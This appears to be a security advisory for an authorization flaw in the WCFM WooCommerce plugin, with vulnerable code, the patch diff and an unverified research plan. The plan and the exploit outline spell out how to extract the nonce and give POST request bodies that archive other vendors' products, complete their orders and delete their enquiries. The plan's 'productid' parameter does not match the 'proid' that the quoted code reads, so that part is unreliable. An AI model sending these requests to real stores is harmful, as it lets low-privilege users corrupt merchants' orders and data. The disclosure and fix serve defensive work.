CVE-2026-10041

WCFM – Frontend Manager for WooCommerce <= 6.7.27 - Authenticated (Subscriber+) Missing Authorization to Arbitrary Vendor Data Manipulation via Multiple AJAX Handlers

mediumAuthorization Bypass Through User-Controlled Key
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
6.7.28
Patched in
1d
Time to patch

Description

The WCFM – Frontend Manager for WooCommerce plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 6.7.27 via the wcfm_product_archive due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with subscriber-level access and above, to archive arbitrary vendors' products, toggle the featured status on arbitrary listings, mark arbitrary WooCommerce orders as completed, and permanently delete arbitrary enquiries and bulk messages belonging to other vendors.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=6.7.27
PublishedJuly 10, 2026
Last updatedJuly 11, 2026
Affected pluginwc-frontend-manager

What Changed in the Fix

Changes introduced in v6.7.28

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Vulnerability Research Plan: CVE-2026-10041 - WCFM Insecure Direct Object Reference (IDOR) ## 1. Vulnerability Summary The **WCFM – Frontend Manager for WooCommerce** plugin (<= 6.7.27) contains multiple Insecure Direct Object Reference (IDOR) vulnerabilities in its AJAX handlers. Specifically, f…

Show full research plan

Vulnerability Research Plan: CVE-2026-10041 - WCFM Insecure Direct Object Reference (IDOR)

1. Vulnerability Summary

The WCFM – Frontend Manager for WooCommerce plugin (<= 6.7.27) contains multiple Insecure Direct Object Reference (IDOR) vulnerabilities in its AJAX handlers. Specifically, functions registered for authenticated users (including Subscriber-level accounts) perform sensitive actions on vendor data (Products, Orders, Enquiries, Messages) without verifying if the requesting user has the authority to modify that specific object.

The vulnerability exists because the handlers check for a valid WordPress nonce (wcfm_ajax_nonce) and user authentication but fail to implement capability checks or ownership validation against the provided object IDs.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Method: POST
  • Authentication: Authenticated (Subscriber+)
  • Vulnerable AJAX Actions:
    1. wcfm_product_archive: Archives arbitrary products.
    2. wcfm_listing_featured: Toggles featured status on listings.
    3. wcfm_order_mark_complete: Marks arbitrary WooCommerce orders as completed.
    4. delete_wcfm_enquiry: Permanently deletes vendor enquiries.
    5. wcfm_messages_bulk_mark_delete: Deletes bulk messages.
  • Payload Parameter: Variable based on action (e.g., productid, orderid, enquiryid).
  • Nonce: Required (wcfm_ajax_nonce).

3. Code Flow

  1. Entry Point: The user sends a request to admin-ajax.php with a specific action (e.g., wcfm_product_archive).
  2. Hook Registration: In core/class-wcfm-ajax.php, the plugin registers these actions:
    add_action('wp_ajax_wcfm_product_archive', array(&$this, 'wcfm_product_archive'));
    add_action('wp_ajax_wcfm_order_mark_complete', array(&$this, 'wcfm_order_mark_complete'));
    
  3. Nonce Verification: The handler typically calls check_ajax_referer('wcfm_ajax_nonce', 'wcfm_ajax_nonce').
  4. Missing Authorization (The Sink): The handler retrieves the ID from $_POST (e.g., $_POST['productid']) and immediately performs the database or metadata operation without calling current_user_can('edit_post', $id) or verifying that the ID belongs to the current user.

4. Nonce Acquisition Strategy

The wcfm_ajax_nonce is used globally for WCFM AJAX interactions. It is localized into the JavaScript variable wcfm_params.

  1. Shortcode Page Creation: Create a page containing a WCFM dashboard shortcode to ensure all scripts are enqueued.
    • Command: wp post create --post_type=page --post_status=publish --post_title="Dashboard" --post_content='[wcfm_endpoint]'
  2. Extraction:
    • Navigate to the page as the Subscriber user.
    • Use browser_eval to extract the nonce.
    • JS Variable: window.wcfm_params?.wcfm_ajax_nonce

5. Exploitation Strategy

Target 1: Archive Arbitrary Product

  • Action: wcfm_product_archive
  • HTTP Request:
    • URL: http://localhost:8080/wp-admin/admin-ajax.php
    • Body: action=wcfm_product_archive&productid=[VICTIM_PRODUCT_ID]&wcfm_ajax_nonce=[NONCE]
    • Content-Type: application/x-www-form-urlencoded

Target 2: Mark Arbitrary Order as Complete

  • Action: wcfm_order_mark_complete
  • HTTP Request:
    • URL: http://localhost:8080/wp-admin/admin-ajax.php
    • Body: action=wcfm_order_mark_complete&orderid=[VICTIM_ORDER_ID]&wcfm_ajax_nonce=[NONCE]

Target 3: Delete Enquiry

  • Action: delete_wcfm_enquiry
  • HTTP Request:
    • URL: http://localhost:8080/wp-admin/admin-ajax.php
    • Body: action=delete_wcfm_enquiry&enquiryid=[VICTIM_ENQUIRY_ID]&wcfm_ajax_nonce=[NONCE]

6. Test Data Setup

  1. Victim (Vendor):
    • User: vendor_user with role wcfm_vendor.
    • Content: A published WooCommerce product (ID X).
    • Order: A WooCommerce order (ID Y) associated with product X.
    • Enquiry: Insert a record into {$wpdb->prefix}wcfm_enquiries (ID Z) manually or via the product's enquiry form.
  2. Attacker (Subscriber):
    • User: attacker_sub with role subscriber.
  3. Page:
    • Create a page with [wcfm_endpoint] so attacker_sub can access the scripts and nonce.

7. Expected Results

  • Product Archive: The product X metadata _wcfm_product_archived is set to yes (or the post status changes depending on version implementation).
  • Order Completion: The WooCommerce order Y status changes to completed.
  • Enquiry Deletion: The enquiry record Z is removed from the database table.
  • HTTP Response: Usually returns a JSON success string (e.g., {"status": true, "message": "..."}).

8. Verification Steps

  • Archive Verification: wp post meta get [ID] _wcfm_product_archived should return yes.
  • Order Verification: wp wc order get [ID] --field=status should return completed.
  • Enquiry Verification: wp db query "SELECT * FROM wp_wcfm_enquiries WHERE ID = [ID]" should return no results.

9. Alternative Approaches

If the Subscriber role is strictly prohibited from accessing the page containing the shortcode (rendering the nonce inaccessible), check for the wcfm_ajax_nonce on other frontend pages. The WCFM plugin often enqueues core scripts on the Shop page or Single Product pages to support "Enquiry" features. Search for wcfm_params in the source of a Single Product page.

Research Findings
Static analysis — not yet PoC-verified

Summary

The WCFM – Frontend Manager for WooCommerce plugin for WordPress is vulnerable to multiple Insecure Direct Object Reference (IDOR) flaws in its AJAX handlers up to version 6.7.27. Authenticated attackers with subscriber-level access and above can manipulate arbitrary vendor data—such as archiving products, toggling featured listings, marking orders as completed, and deleting enquiries—by providing target IDs without sufficient authorization checks.

Vulnerable Code

// core/class-wcfm-ajax.php (approx. line 758 in 6.7.27)
    public function wcfm_product_archive() {
        global $WCFM, $wpdb;

        if (isset($_POST['proid']) && !empty($_POST['proid'])) {
            $product_id = absint($_POST['proid']);
            do_action('wcfm_before_product_archived', $product_id);
            $update_product = apply_filters('wcfm_product_content_before_update', array(
                'ID'           => $product_id,
                'post_status'  => 'archived',
            ), $product_id);
            wp_update_post($update_product);
            update_post_meta($product_id, '_wcfm_product_archived', 'yes');
            do_action('wcfm_after_product_archived', $product_id);
            echo '{"status": true, "message": "' . esc_html__('Product successfully archived.', 'wc-frontend-manager') . '"}';
        }
        die;
    }

---

// core/class-wcfm-ajax.php (approx. line 822 in 6.7.27)
    public function wcfm_order_mark_complete() {
        global $WCFM, $wpdb;

        $order_id = absint($_POST['orderid']);

        do_action('before_wcfm_order_status_update', $order_id, 'wc-completed');

        if (wc_is_order_status('wc-completed') && $order_id) {
            $order = wc_get_order($order_id);
            $order->update_status('completed');
            do_action('wcfm_order_status_updated', $order_id, 'completed');
            echo '{"status": true, "message": "' . esc_html__('Order status updated successfully.', 'wc-frontend-manager') . '"}';
        }
        die;
    }

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wc-frontend-manager/6.7.27/core/class-wcfm-ajax.php /home/deploy/wp-safety.org/data/plugin-versions/wc-frontend-manager/6.7.28/core/class-wcfm-ajax.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wc-frontend-manager/6.7.27/core/class-wcfm-ajax.php	2026-04-25 07:17:00.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wc-frontend-manager/6.7.28/core/class-wcfm-ajax.php	2026-06-28 08:04:18.000000000 +0000
@@ -758,6 +758,14 @@
 
         if (isset($_POST['proid']) && !empty($_POST['proid'])) {
             $product_id = absint($_POST['proid']);
+
+            // IDOR guard: only the product's owner (vendor/staff), a managing manager, or an admin may archive it.
+            $resource_owner_id = get_post_field('post_author', $product_id);
+            if (!wcfm_user_can_perform_request($resource_owner_id, 'product_archive')) {
+                wp_send_json_error(esc_html__('You don&#8217;t have permission to do this.', 'woocommerce'));
+                wp_die();
+            }
+
             do_action('wcfm_before_product_archived', $product_id);
             $update_product = apply_filters('wcfm_product_content_before_update', array(
                 'ID'           => $product_id,
@@ -791,6 +799,14 @@
 
         if (isset($_POST['listid']) && !empty($_POST['listid'])) {
             $listing_id = absint($_POST['listid']);
+
+            // IDOR guard: only the listing's owner (vendor/staff), a managing manager, or an admin may toggle featured.
+            $resource_owner_id = get_post_field('post_author', $listing_id);
+            if (!wcfm_user_can_perform_request($resource_owner_id, 'listing_featured')) {
+                wp_send_json_error(esc_html__('You don&#8217;t have permission to do this.', 'woocommerce'));
+                wp_die();
+            }
+
             $is_featured = wc_clean($_POST['featured']);
 
             if ($is_featured == 'featured') {
@@ -822,6 +838,12 @@
 
         $order_id = absint($_POST['orderid']);
 
+        // IDOR guard: an admin/manager may complete any order, but a vendor only an order that belongs to them.
+        $order = wc_get_order($order_id);
+        if (!is_a($order, 'WC_Order') || !$WCFM->wcfm_vendor_support->wcfm_is_order_for_vendor($order_id)) {
+            wp_send_json_error(__('Invalid Order', 'wc-frontend-manager'));
+        }
+
         do_action('before_wcfm_order_status_update', $order_id, 'wc-completed');
 
         if (wc_is_order_status('wc-completed') && $order_id) {

Exploit Outline

The exploit requires authentication (Subscriber level or higher). An attacker first retrieves the valid 'wcfm_ajax_nonce' by visiting a page where the WCFM dashboard scripts are enqueued (e.g., a page with the [wcfm_endpoint] shortcode) and extracting it from the 'wcfm_params' JavaScript object. The attacker then sends a POST request to '/wp-admin/admin-ajax.php' with the 'action' parameter set to a vulnerable handler (e.g., 'wcfm_product_archive', 'wcfm_order_mark_complete', or 'delete_wcfm_enquiry'). By specifying the target object's ID (e.g., 'proid' or 'orderid') and including the valid nonce, the attacker can manipulate that object because the server-side code fails to verify if the requesting user has permissions over that specific resource.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.